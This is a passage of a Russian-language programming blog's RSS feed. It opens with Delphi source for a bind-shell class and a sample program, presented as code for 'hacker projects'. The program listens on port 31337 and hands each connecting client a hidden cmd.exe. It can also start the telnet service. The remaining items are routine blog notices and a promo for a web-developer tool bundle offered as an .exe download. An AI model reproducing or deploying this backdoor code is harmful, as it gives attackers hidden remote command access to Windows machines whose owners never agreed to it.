<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.StartUp<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; Robo<br />&nbsp; DateTime:&nbsp; 2009.04.24<br />&nbsp; Arguments: None<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; DWORD &#8211; хендл открытого сокета<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />function xnShell.StartUp: DWORD;<br />begin<br />if FPort &lt;&gt; 0 then<br />&nbsp;begin<br />&nbsp; WSAStartup($0202,@WSAData);&nbsp; // Activate ws2_32.dll<br />&nbsp; FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);<br />&nbsp; FSockAddIn.sin_family:=AF_INET;<br />&nbsp; FSockAddIn.sin_port:=htons(FPort);<br />&nbsp; result:=FSocket;<br />&nbsp;end<br />else<br />&nbsp;begin<br />&nbsp;Result:=$0;<br />&nbsp;end;<br />end;</p>
<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.BindShell<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; Robo<br />&nbsp; DateTime:&nbsp; 2009.04.24<br />&nbsp; Arguments: SockHandle: DWORD&nbsp; &#8211; хендл сокета для бинда (результат StartUp)<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; None<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />procedure xnShell.BindShell(SockHandle: DWORD);<br />begin<br />bind(SockHandle,@FSockAddIn,16);<br />end;</p>
<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.ListenShell<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; robo<br />&nbsp; DateTime:&nbsp; 2009.04.24<br />&nbsp; Arguments: SockHandle: DWORD &#8211; хендл сокета для listen (результат StartUp)<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; None<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />procedure xnShell.ListenShell(SockHandle: DWORD);<br />begin<br />&nbsp; listen(SockHandle,0);<br />end;</p>
<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.AcceptShell<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; Администратор<br />&nbsp; DateTime:&nbsp; 2009.04.27<br />&nbsp; Arguments: SockHandle: DWORD<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; DWORD<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />function xnShell.AcceptShell(SockHandle: DWORD):DWORD;<br />begin<br />&nbsp; result:=accept(SockHandle,NULL,0);<br />end;</p>
<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.CreateShell<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; Администратор<br />&nbsp; DateTime:&nbsp; 2009.04.27<br />&nbsp; Arguments: ShellName: string;OutHandle:DWORD<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; BOOL<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;<br />var reslt:BOOL;<br />begin<br />&nbsp;ZeroMemory(@st_info,SizeOf(st_info));<br />&nbsp;st_info.cb := SizeOf(st_info);<br />&nbsp;st_info.wShowWindow := 0; // SW_HIDE<br />&nbsp;st_info.dwFlags := START_PROCESS_INFO;<br />&nbsp;st_info.hStdError&nbsp; := OutHandle;<br />&nbsp;st_info.hStdOutput := OutHandle;<br />&nbsp;st_info.hStdInput&nbsp; := OutHandle;<br />&nbsp;reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);<br />&nbsp;CloseHandle(OutHandle);<br />&nbsp;CloseHandle(pt_info.hThread);<br />&nbsp;CloseHandle(pt_info.hProcess);<br />&nbsp;if reslt &lt;&gt; false then result:=false else Result := true;<br />end;</p>
<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.StartTelnetService<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; Администратор<br />&nbsp; DateTime:&nbsp; 2009.04.27<br />&nbsp; Arguments: None<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; None<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />procedure xnShell.StartTelnetService(Flag:Boolean);<br />begin<br />&nbsp;ZeroMemory(@st_info,SizeOf(st_info));<br />&nbsp;st_info.cb := SizeOf(st_info);<br />&nbsp;st_info.wShowWindow := 0; // SW_HIDE<br />&nbsp;st_info.dwFlags := START_PROCESS_INFO;<br />&nbsp;if Flag = True then<br />&nbsp;CreateProcess(null,PChar(&#8216;net start telnet&#8217;),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)<br />&nbsp;else<br />&nbsp;CreateProcess(null,PChar(&#8216;net stop telnet&#8217;),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)<br />end;</p>
<p>end.</p>
</blockquote>
<p dir="ltr"><strong>А вот как это дело можно юзать в своих хеккерских проектах:</strong></p>
<blockquote>
<p dir="ltr">program shellset;</p>
<p dir="ltr">uses xnShellWorks;<br />type<br />&nbsp;DWORD = Cardinal;<br />var<br />&nbsp; Shell:xnShell;<br />&nbsp; handle:DWORD;<br />&nbsp; SHandle:DWORD;<br />begin<br />&nbsp; Shell:=xnShell.Create;<br />&nbsp; Shell.SetShellPort(31337);<br />&nbsp; handle:=Shell.StartUp;<br />&nbsp; Shell.BindShell(handle);<br />&nbsp; Shell.ListenShell(handle);<br />&nbsp; while true do<br />&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp; sHandle := Shell.AcceptShell(handle);<br />&nbsp;&nbsp;&nbsp; if SHandle &lt;&gt; INVALID_SOCKET then<br />&nbsp;&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Shell.CreateShell(&#8216;cmd.exe&#8217;,sHandle);<br />&nbsp;&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; end;<br />end.</p>
</blockquote>
<p dir="ltr">&nbsp;</p>
<p dir="ltr" align="center"><img alt="" src="http://farm1.static.flickr.com/37/105903167_96893dc129.jpg" border="0" />&nbsp;<a href="http://feeds2.feedburner.com/ssprogdevelop" target="_blank">Подписаться на посты через RSS</a><br /><img alt="" src="http://farm1.static.flickr.com/37/105903167_96893dc129.jpg" border="0" />&nbsp;<a href="http://4programmer.blogspot.com/feeds/comments/default" target="_blank">Подписаться на комментарии через RSS</a></p>
<p dir="ltr" align="center">&nbsp;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/198/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/198/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/198/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/198/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/198/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/198/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/198/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/198/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=198&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2009/05/22/%d0%ba%d0%bb%d0%b0%d1%81%d1%81-%d0%b4%d0%bb%d1%8f-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d0%b8%d1%8f-%d1%88%d0%b5%d0%bb%d0%bb%d0%b0-%d1%81-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%b0%d0%bf%d1%80%d0%b0%d0%b2/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>

		<media:content url="http://farm1.static.flickr.com/37/105903167_96893dc129.jpg" medium="image" />

		<media:content url="http://farm1.static.flickr.com/37/105903167_96893dc129.jpg" medium="image" />
	</item>
		<item>
		<title>Блог остаётся работать в штатном режиме!</title>
		<link>http://devprog.wordpress.com/2009/03/04/%d0%b1%d0%bb%d0%be%d0%b3-%d0%be%d1%81%d1%82%d0%b0%d1%91%d1%82%d1%81%d1%8f-%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0%d1%82%d1%8c-%d0%b2-%d1%88%d1%82%d0%b0%d1%82%d0%bd%d0%be%d0%bc-%d1%80%d0%b5%d0%b6%d0%b8/</link>
		<comments>http://devprog.wordpress.com/2009/03/04/%d0%b1%d0%bb%d0%be%d0%b3-%d0%be%d1%81%d1%82%d0%b0%d1%91%d1%82%d1%81%d1%8f-%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0%d1%82%d1%8c-%d0%b2-%d1%88%d1%82%d0%b0%d1%82%d0%bd%d0%be%d0%bc-%d1%80%d0%b5%d0%b6%d0%b8/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 00:42:11 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/2009/03/04/%d0%b1%d0%bb%d0%be%d0%b3-%d0%be%d1%81%d1%82%d0%b0%d1%91%d1%82%d1%81%d1%8f-%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0%d1%82%d1%8c-%d0%b2-%d1%88%d1%82%d0%b0%d1%82%d0%bd%d0%be%d0%bc-%d1%80%d0%b5%d0%b6%d0%b8/</guid>
		<description><![CDATA[Господа программисты, мы не переежаем. Спасибо всем за дельные советы и предостережения! Блог остаётся работать&#160;в штатном режиме.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=196&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Господа программисты, мы не переежаем. Спасибо всем за дельные советы и предостережения! Блог остаётся работать&nbsp;в штатном режиме.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/196/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=196&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2009/03/04/%d0%b1%d0%bb%d0%be%d0%b3-%d0%be%d1%81%d1%82%d0%b0%d1%91%d1%82%d1%81%d1%8f-%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0%d1%82%d1%8c-%d0%b2-%d1%88%d1%82%d0%b0%d1%82%d0%bd%d0%be%d0%bc-%d1%80%d0%b5%d0%b6%d0%b8/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>
	</item>
		<item>
		<title>Web Developer Kit 1.0 &#8211; Карманный набор Веб-разработчика</title>
		<link>http://devprog.wordpress.com/2009/03/04/web-developer-kit-10-%d0%ba%d0%b0%d1%80%d0%bc%d0%b0%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%b0%d0%b1%d0%be%d1%80-%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d1%87%d0%b8%d0%ba/</link>
		<comments>http://devprog.wordpress.com/2009/03/04/web-developer-kit-10-%d0%ba%d0%b0%d1%80%d0%bc%d0%b0%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%b0%d0%b1%d0%be%d1%80-%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d1%87%d0%b8%d0%ba/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 00:25:09 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[5минутные утилиты]]></category>
		<category><![CDATA[Программирование]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/2009/03/04/web-developer-kit-10-%d0%ba%d0%b0%d1%80%d0%bc%d0%b0%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%b0%d0%b1%d0%be%d1%80-%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d1%87%d0%b8%d0%ba/</guid>
		<description><![CDATA[У вас имели место быть такие случаи, когда необходимо, да и просто хочется написать или отладить какое либо веб-приложение, Будь то скрипт на PHP, парсинг текста на PERL или запрос SQL, а необходимых инструментов под рукой нет? Конечно, такие ситуации бывали у всех нас. И это ещё хорошо, что есть выход в Интернет, а что делать [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=192&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>У вас имели место быть такие случаи, когда необходимо, да и просто хочется написать или отладить какое либо <strong>веб-приложение</strong>, Будь то <strong>скрипт на PHP</strong>, <strong>парсинг текста на PERL</strong> или <strong>запрос SQL</strong>, а необходимых инструментов под рукой нет?</p>
<p>Конечно, такие ситуации бывали у всех нас. И это ещё хорошо, что есть выход в Интернет, а что делать если его нет, а на новой машине нужно быстро <strong>настроить веб-сервер</strong>, установить <strong>редактор с подсветкой синтаксиса</strong>, ещё бы хорошо иметь <strong>программу для проверки регулярных выражений. </strong>Ну и в довесок можно иметь на рабочей машине разного рода <strong>книги и справочники по программированию</strong>.</p>
<p>Всё это есть в пакете программ <strong>Web Developer Kit</strong>. Эту сборку самых необходимых программ для веб-разработчика можно в быстро развернуть на любой машине под управлением ОС Windows. В любой момент вы можете иметь полноценное рабочее место для программирования и <strong>отладки веб-приложений. </strong></p>
<p>Рассмотрим <strong>пакет Web Developer Kit</strong> более подробно:</p>
<p>1) Пакет Denwer, содержащий в себе целый набор инструментов для <strong>веб разработчика</strong>, такие как <strong>веб-сервер Apache</strong>, <strong>PHP 5</strong>, PERL, <strong>MySQL Server.</strong></p>
<p>2) Текстовый редактор Notepad++ с подсветкой синтаксиса самых <strong>распространённых языков разработки</strong>, таких как PERL, PHP, JavaScript итд. Языки интерфейса – Русский, Украинский, Английский. Плюс, некоторые полезные плагины к редактору (Например HEX-Edit).</p>
<p>3) <strong>Программа для проверки регулярных выражений</strong> Regular Expression Tester. Она очень компактна, удобна и может проверять регулярные выражения многих видов.</p>
<p>4) <strong>Маленький и быстрый FTP-Клиент</strong> MicroFTP 2000, который очень лёгок в настройке.</p>
<p>5) Книги и справочники для Веб-программиста. <strong>Хорошие справочники по CSS, HTML, PHP, MySQL, XML</strong>.</p>
<p>6) Шпаргалки в виде PNG рисунков по таким предметам как <strong>CSS, HTML, mod_rewrite, MySQL, PHP</strong>, <strong>Регулярные выражения, Ruby On Rails</strong>.</p>
<p>Пакет выполнен в виде удобного инсталятора (похожий на WinAmp). После установки всё удобно структурируется в программном меню, в поддиректории Web Developer Kit.</p>
<p><strong>Установка:</strong></p>
<p>Для установки Denwer, после установки пакета, выполните следующие действия:</p>
<p>Пуск -&gt; Программы -&gt; Web Developer Kit -&gt; Web Server -&gt; Install Denwer</p>
<p><strong>Загрузка пакета:</strong></p>
<p><a href="http://best-musik.ru/files/Web Developer Kit.exe"><strong>Скачать пакет Web Developer Kit</strong></a><strong><br />
</strong></p>
<p><strong> </strong></p>
<p><strong><img src="http://farm1.static.flickr.com/37/105903167_96893dc129.jpg" border="0" alt="" /> <a href="http://feeds2.feedburner.com/ssprogdevelop" target="_blank">Подписаться на посты через RSS</a><br />
<a href="http://4programmer.blogspot.com/feeds/comments/default" target="_blank"></a> </strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/192/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/192/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/192/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/192/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/192/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/192/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/192/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/192/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=192&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2009/03/04/web-developer-kit-10-%d0%ba%d0%b0%d1%80%d0%bc%d0%b0%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%b0%d0%b1%d0%be%d1%80-%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d1%87%d0%b8%d0%ba/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>

		<media:content url="http://farm1.static.flickr.com/37/105903167_96893dc129.jpg" medium="image" />
	</item>
		<item>
		<title>Переезд Блога</title>
		<link>http://devprog.wordpress.com/2009/02/28/%d0%bf%d0%b5%d1%80%d0%b5%d0%b5%d0%b7%d0%b4-%d0%b1%d0%bb%d0%be%d0%b3%d0%b0/</link>
		<comments>http://devprog.wordpress.com/2009/02/28/%d0%bf%d0%b5%d1%80%d0%b5%d0%b5%d0%b7%d0%b4-%d0%b1%d0%bb%d0%be%d0%b3%d0%b0/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 00:14:51 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/2009/02/28/%d0%bf%d0%b5%d1%80%d0%b5%d0%b5%d0%b7%d0%b4-%d0%b1%d0%bb%d0%be%d0%b3%d0%b0/</guid>
		<description><![CDATA[Уважаемые посетитили! Наш блог переежает на другой адрес. Теперь он будет доступен по адресу www.4programmer.blogspot.com. На нашем новом блоге будет ещё больше полезной, а самое главное новой информации по программированию. Заходите и читайте нас. С уважением, Егор. P.S. Уважаемые Партнёры и Друзья! Убедительная просьба, исправить или добавить ссылку в своих блогроллах, на новый адрес блога. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=191&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Уважаемые посетитили! Наш блог переежает на другой адрес. Теперь он будет доступен по адресу <a href="http://www.4programmer.blogspot.com">www.4programmer.blogspot.com</a>. На нашем новом блоге будет ещё больше полезной, а самое главное новой информации по программированию. Заходите и читайте нас. С уважением, Егор.</p>
<p>P.S. Уважаемые Партнёры и Друзья! Убедительная просьба, исправить или добавить ссылку в своих блогроллах, на новый адрес блога. Спасибо.</p>
<p>Надеюсь, вам пригленётся наш новый блог. Всего хорошего. :)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/191/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/191/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/191/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/191/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/191/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/191/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/191/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/191/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=191&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2009/02/28/%d0%bf%d0%b5%d1%80%d0%b5%d0%b5%d0%b7%d0%b4-%d0%b1%d0%bb%d0%be%d0%b3%d0%b0/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>
	</item>
	</channel>
</rss>
